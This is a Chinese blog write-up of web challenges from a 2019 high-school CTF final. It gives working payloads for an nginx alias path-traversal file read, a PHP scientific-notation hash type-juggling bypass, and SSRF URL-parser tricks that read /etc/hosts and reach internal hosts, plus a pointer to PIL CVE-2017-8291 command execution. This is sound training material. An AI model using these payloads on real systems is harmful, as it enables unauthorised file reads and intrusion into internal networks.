补档计划之2019北邮中学生网安杯线下决赛Web题WP 本文累计 3038 字, 最后更新时间:2022年01月09日 ### 0x00 前言 2019.03.17日有幸去参加了北邮中学生网安杯,神仙好多啊~~俗称诸神之战~~。 经过一天的激烈比拼(摸鱼)最后打铁回家了。 嗯,看来还是有比较大的进步空间的。 不过收获还是蛮多的呢。 这里记录一下备忘。 ### 0x01 Web1 赛方放出的tips: ![TIM图片20190406114744.png][1] > statics的配置是不是有点问题?好像能返回上一层呀。 > 科学计数法akO + 20+ 21 = flag 开始! ![Image.png][2] ![Image [1].png][3] ![Image [2].png][4] 嘛,我们随便点点网页找到flag.php,查看源码得知需要读取它的原文件。 这个时候看下提示,发现statics的配置存在问题,可以读取到上一层目录的文件, 遂读取上一层的flag.php文件。 #### 注:NGINX配置不当造成文件读取漏洞: 该问题披露于** Breaking Parser Logic: Take Your Path Normalization off and Pop 0days Out! (Top 10 web hacking techniques of 2018) ** ![Image [3].png][5] ![Image [4].png][6] 在不当的配置下,请求/statics../flag.php时,会匹配到/statics路由, 经过alias拼接路径,定位到了上层的flag.php文件。 同时,由于匹配到的是/statics路由,flag.php就不会当作php文件解析而是直接视为静态资源返回, 从而达到了文件读取的目的。 分析下flag.php的源码, ![Image [5].png][7] 可以看到想要获取flag的话需要达成该条件。 $test2 > 0 && $test3 > 0 && $test3 > $test2 && $test1 == $test2*$test2 +$test3 * $test3 大致浏览下,要注意的点是 **$test1变量值只能由大小写字母组成**。 $test1会在被sha256加密后参与log10的运算,但log10()只会接受number类型的值, 而hash返回的结果往往是一个加密好的字符串。 那有没有一种"number"既有字符串的形式又能表达number的含义呢? **科学计数法 : 喵喵喵?** 这里以"akO"为例(注:大写的o),对它sha256加密得到 1e58e0f0fb7cc62932911f8863818f1ecab016340d627a7b1252ab31b80c2567 它在进行数学运算时就会被php认为是一个科学计数法形式的number,把1e58作为值进行运算, 好了,我们把1e58代入式子,得到"841" 巧的是,"841"恰好等于"20x20+21x21"。 那么本题的payload就构造成功了,即 test1=akO&test2=20&test3=21 ![Image [6].png][8] 当然,本题的payload不止一种,只要满足以上条件即可, 可以写个脚本穷举下,这里就不再赘述了。 ### 0x02 WEB2 我这边没有环境了,直接贴一下出题师傅的wp #### 赛场提示 http://foo@curl:233@php:666/ 观察, 随便输入一个url, 发现 ![TIM图片20190629142121.png][9] SSRF的各种绕过Orange师傅的**A New Era of SSRF (Top 10 web hacking techniques of 2017) + PIL CVE (CVE-2017-8291)**读本地文件 (然而我提示了这个机器上没有flag, 在别的机器上), 所以考虑读hosts找内网网端 file://localhost/etc/hosts(这台腾讯云只能192了, 现场是172.18.0.0/24) 3. ssrf找东西http://foo@192.168.64.2:80@localhost/找到内网的神奇的代码 4. 翻内网http://foo@192.168.64.2:80@localhost/robots.txt -> 给你们留的答案 http://foo@192.168.64.2:80@localhost/static/poc.png -> 需要一点魔改的答案 5. PIL CVE-2017-8291执行命令的地方没写东西, 你们自己搞 ![TIM图片20190629142128.png][10] 然后本地托管一个文件服务器把你的url提交上去 http://foo@192.168.64.2:80@localhost/?url=http://0.0.0.0/xx.png 完成! ### 0x03 WEB3 #### 赛场提示 XSS 过滤列表 ['script', 'on', 'svg', 'meta'] ![TIM图片20190629141724.png][11] [1]: https://hack.best/usr/uploads/2022/01/2410754343.png [2]: https://hack.best/usr/uploads/2022/01/551572781.png [3]: https://hack.best/usr/uploads/2022/01/4241512030.png [4]: https://hack.best/usr/uploads/2022/01/3387467148.png [5]: https://hack.best/usr/uploads/2022/01/4063214253.png [6]: https://hack.best/usr/uploads/2022/01/3442749875.png [7]: https://hack.best/usr/uploads/2022/01/3277115187.png [8]: https://hack.best/usr/uploads/2022/01/924054276.png [9]: https://hack.best/usr/uploads/2022/01/382978776.png [10]: https://hack.best/usr/uploads/2022/01/1315274146.png [11]: https://hack.best/usr/uploads/2022/01/2461642294.png
Comments | NOTHING